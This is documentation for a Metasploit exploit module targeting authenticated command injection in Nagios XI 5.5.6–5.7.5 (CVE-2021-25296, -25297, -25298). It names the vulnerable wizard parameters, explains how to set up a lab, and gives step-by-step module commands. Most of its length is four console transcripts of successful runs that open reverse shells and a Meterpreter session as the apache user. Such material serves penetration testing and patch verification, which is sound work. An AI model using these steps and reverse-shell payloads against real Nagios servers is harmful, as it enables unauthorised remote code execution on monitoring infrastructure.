## Vulnerable Application
This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298: OS command injection vulnerabilities
in `/nagiosxi/config/monitoringwizard.php` that enable an authenticated user to achieve remote code execution
on NagiosXI from versions 5.5.6 to 5.7.5 as the `apache` user. There are three vulnerable configuration wizards
(`windowswmi`, `switch`, `cloud-vm`). The `windowswmi` configuration wizard is vulnerable
to CVE-2021-25296 via command injection in the `plugin_output_len` parameter. `switch` and
`cloud-vm` are vulnerable to CVE-2021-25297 and CVE-2021-25298 respectively, and use the
`ip_address` parameter, though on version 5.5.7 and prior of NagiosXI this parameter was
named `address`.

The module's `check` method takes advantage of the `Msf::Exploit::Remote::HTTP::NagiosXi` mixin in order to authenticate
to the target and obtain the version of Nagios XI installed, which is then used to check if the target is running a version
of NagiosXI between versions 5.5.6 and 5.7.5.

### Installation Steps
Note: The module can attempt to complete the configuration steps after NagiosXI has been installed.

#### Pre-installed OVA
1. Download an OVA with NagiosXI installed
    1. An OVA with a vulnerable NagiosXI 5.7.5 application can be downloaded from
    Nagios [here](https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.7.5-64.ova).
    2. To download other vulnerable versions, replace the version number in the URL with the desired version.
2. Configure the NagiosXI installation
    1. The OVA has NagiosXI running on startup. Launch the VM and visit the VM's IP in a browser.
    2. Go through defaults on the install. When you get to Admin Account Settings, configure the `nagiosadmin`
    user's password and whether you'd like to force HTTPS.
    3. Login as the `nagiosadmin` user and accept the license agreement when prompted.

#### Manual Install on Linux
Note: NagiosXI can only be installed on specific operating systems (RHEL, CentOS, Oracle Linux, Debian, Ubuntu).
Supported version numbers can be found in the installation guide
[here](https://assets.nagios.com/downloads/nagiosxi/docs/Installing-Nagios-XI-Manually-on-Linux.pdf). Older versions of
NagiosXI might require older versions of the operating systems mentioned. Consult the specific version's documentation if errors occur
on newer distributions.

1. Download NagiosXI
    1. Choose a version between 5.5.6 and 5.7.5 from [here](https://www.nagios.com/downloads/nagios-xi/older-releases/)
2. Install NagiosXI with the following commands
    1. `tar xzf xi-5.7.5.gz`
    2. `cd nagiosxi`
    3. `./fullinstall`
3. Configure the NagiosXI installation
    1. Visit the installed NagiosXI application in a web browser.
    2. Go through defaults on the install. When you get to Admin Account Settings, configure the `nagiosadmin`
    user's password and whether you'd like to force HTTPS.
    3. Login as the `nagiosadmin` user and accept the license agreement when prompted.

### Troubleshooting Installation
- NagiosXI doesn't show it's ip address
  - Login as the `root` user with `nagiosxi` as the password, and run `ip a` to get the IP
  - Ensure it's on a network accessible from your attacking machine (e.g. NAT network instead of Bridged)
- NagiosXI fails when attempting to login manually with an "NSP Sorry Dave" message
  - The NagiosXI installation is likely out of sync with its date/time.
  - Set it manually with `timedatectl set-ntp false` and `timedatectl set-time '2023-02-06 17:34:00'` but with the actual time and date

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/nagios_xi_configwizards_authenticated_rce`
- [ ] `set RHOSTS TARGET_IP`
- [ ] `set RPORT 443`
- [ ] `set SSL true`
- [ ] `set USERNAME USER`
- [ ] `set PASSWORD PASSWORD`
- [ ] `set TARGET_CVE CVE-2021-25296`
- [ ] `set LHOST YOUR_IP`
- [ ] `set LPORT YOUR_LISTENING_PORT`
- [ ] `run`

## Options

### USERNAME
A valid NagiosXI username, which can be for an administrator or regular user.

### PASSWORD
The password for the provided NagiosXI username.

### TARGET_CVE
The CVE to target. Each CVE corresponds to a specific target:
- CVE-2021-25296: `windowswmi` configuration wizard RCE via the `plugin_output_len` URL parameter
- CVE-2021-25297: `switch` configuration wizard RCE via the `ip_address` URL parameter.
  Note that on versions 5.5.7 and prior this parameter is named `address` instead.
- CVE-2021-25298: `cloud-vm` configuration wizard RCE via the `ip_address` URL parameter.
  Note that on versions 5.5.7 and prior this parameter is named `address` instead.

Note that CVE-2021-25298 is in the `cloud-vm` configuration wizard but we set the `wizard`
URL parameter value to `digitalocean` in order to make sure we use this wizard; there are
potentially other values that could be used here.

## Scenarios

### CentOS7 Running NagiosXI 5.7.5 (Official OVA) - CVE-2021-25296
```
msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
[*] Using configured payload cmd/unix/reverse_perl_ssl
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132
RHOST => 192.168.153.132
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true
FINISH_INSTALL => true
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin
USERNAME => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132
RHOST => 192.168.153.132
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FIN
set FINGERPRINTCHECK  set FINISH_INSTALL
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true
FINISH_INSTALL => true
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  true             no        If the Nagios XI installation has not been completed,
                                              try to do so. This includes signing the license agreem
                                              ent.
   PASSWORD        nagiosadmin      no        Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port
                                              ][...]
   RHOSTS          192.168.153.132  yes       The target host(s), see https://github.com/rapid7/meta
                                              sploit-framework/wiki/Using-Metasploit
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This
                                               must be an address on the local machine or 0.0.0.0 to
                                               listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly
                                              generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   TARGET_CVE      CVE-2021-25296   yes       CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE
                                              -2021-25298)
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      no        Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.153.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   CMD



View the full module info with the info, or info -d command.

msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit

[*] Started reverse SSL handler on 192.168.153.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[!] The target seems to be a Nagios XI application that has not been fully installed yet.
[*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`.
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[*] Attempting to sign the Nagios XI license agreement...
[*] License agreement signed. The module will wait for 5 seconds and retry the login.
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI.
[*] Target is Nagios XI with version 5.7.5.
[+] The target appears to be vulnerable.
[*] Sending the payload...
[*] Command shell session 1 opened (192.168.153.128:4444 -> 192.168.153.132:56222) at 2023-02-07 11:33:53 -0600

id
uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
pwd
/usr/local/nagiosxi/html/config
uname -a
Linux localhost.localdomain 3.10.0-1160.2.2.el7.x86_64 #1 SMP Tue Oct 20 16:53:08 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

### CentOS7 Running NagiosXI 5.7.5 (Official OVA) - CVE-2021-25297
```
msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
[*] Using configured payload cmd/unix/reverse_perl_ssl
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132
RHOST => 192.168.153.132
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin
USERNAME => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed,
                                              try to do so. This includes signing the license agreem
                                              ent.
   PASSWORD        nagiosadmin      no        Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port
                                              ][...]
   RHOSTS          192.168.153.132  yes       The target host(s), see https://github.com/rapid7/meta
                                              sploit-framework/wiki/Using-Metasploit
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This
                                               must be an address on the local machine or 0.0.0.0 to
                                               listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly
                                              generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   TARGET_CVE      CVE-2021-25296   yes       CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE
                                              -2021-25298)
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      no        Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.153.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   CMD



View the full module info with the info, or info -d command.

msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25297
TARGET_CVE => CVE-2021-25297
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit

[*] Started reverse SSL handler on 192.168.153.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI.
[*] Target is Nagios XI with version 5.7.5.
[+] The target appears to be vulnerable.
[*] Sending the payload...
[*] Command shell session 1 opened (192.168.153.128:4444 -> 192.168.153.132:56322) at 2023-02-07 11:44:00 -0600

id
uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
whoami
apache
uname -a
Linux localhost.localdomain 3.10.0-1160.2.2.el7.x86_64 #1 SMP Tue Oct 20 16:53:08 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

### CentOS7 Running NagiosXI 5.7.5 (Official OVA) - CVE-2021-25298
```
msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
[*] Using configured payload cmd/unix/reverse_perl_ssl
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set USERNAME nagiosadmin
USERNAME => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25298
TARGET_CVE => CVE-2021-25298
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOST 192.168.153.132
RHOST => 192.168.153.132
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET Linux\ (x64)
TARGET => Linux (x64)
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed,
                                              try to do so. This includes signing the license agreem
                                              ent.
   PASSWORD        nagiosadmin      no        Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port
                                              ][...]
   RHOSTS          192.168.153.132  yes       The target host(s), see https://github.com/rapid7/meta
                                              sploit-framework/wiki/Using-Metasploit
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This
                                               must be an address on the local machine or 0.0.0.0 to
                                               listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly
                                              generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   TARGET_CVE      CVE-2021-25298   yes       CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE
                                              -2021-25298)
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      no        Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.153.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (x64)



View the full module info with the info, or info -d command.

msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LPORT 9912
LPORT => 9912
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set FINISH_INSTALL true
FINISH_INSTALL => true
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit

[*] Started reverse TCP handler on 192.168.153.128:9912
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[!] The target seems to be a Nagios XI application that has not been fully installed yet.
[*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`.
[*] Attempting to authenticate to Nagios XI...
[!] The Nagios XI license agreement has not yet been signed on the target.
[*] Attempting to sign the Nagios XI license agreement...
[*] License agreement signed. The module will wait for 5 seconds and retry the login.
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI.
[*] Target is Nagios XI with version 5.7.5.
[+] The target appears to be vulnerable.
[*] Sending the payload...
[*] Sending stage (3045348 bytes) to 192.168.153.132
[*] Meterpreter session 1 opened (192.168.153.128:9912 -> 192.168.153.132:32878) at 2023-02-07 11:48:50 -0600

[*] Command Stager progress - 100.00% done (833/833 bytes)

meterpreter >
meterpreter > getuid
Server username: apache
meterpreter > getprivs
[-] The "getprivs" command is not supported by this Meterpreter type (x64/linux)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.2.2.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/usr/local/nagiosxi/html/config
meterpreter >
```

### CentOS7 Running NagiosXI 5.5.6 (Official OVA) - CVE-2021-25297
```
msf > use exploit/linux/http/nagios_xi_configwizards_authenticated_rce
[*] Using configured payload cmd/unix/reverse_perl_ssl
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RHOSTS 192.168.104.18
RHOSTS => 192.168.104.18
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set RPORT 443
RPORT => 443
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set PASSWORD nagiosadmin
PASSWORD => nagiosadmin
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set TARGET_CVE CVE-2021-25297
TARGET_CVE => CVE-2021-25297
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LHOST 192.168.104.2
LHOST => 192.168.104.2
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > set LPORT 8443
LPORT => 8443
msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_configwizards_authenticated_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FINISH_INSTALL  false            no        If the Nagios XI installation has not been completed, try to do so. This includes signin
                                              g the license agreement.
   PASSWORD        nagiosadmin      no        Password to authenticate with
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          192.168.104.18   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
                                              loit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local m
                                              achine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /nagiosxi/       yes       The base path to the Nagios XI application
   TARGET_CVE      CVE-2021-25297   yes       CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)
   URIPATH                          no        The URI to use for this exploit (default is random)
   USERNAME        nagiosadmin      no        Username to authenticate with
   VHOST                            no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.104.2    yes       The listen address (an interface may be specified)
   LPORT  8443             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   CMD



View the full module info with the info, or info -d command.

msf exploit(linux/http/nagios_xi_configwizards_authenticated_rce) > exploit

[*] Started reverse SSL handler on 192.168.104.2:8443 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI.
[*] Target is Nagios XI with version 5.5.6.
[+] The target appears to be vulnerable.
[*] Sending the payload...
[*] Command shell session 1 opened (192.168.104.2:8443 -> 192.168.104.18:58930) at 2023-02-07 14:27:41 -0500
id
uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
whoami
apache
uname -a
Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
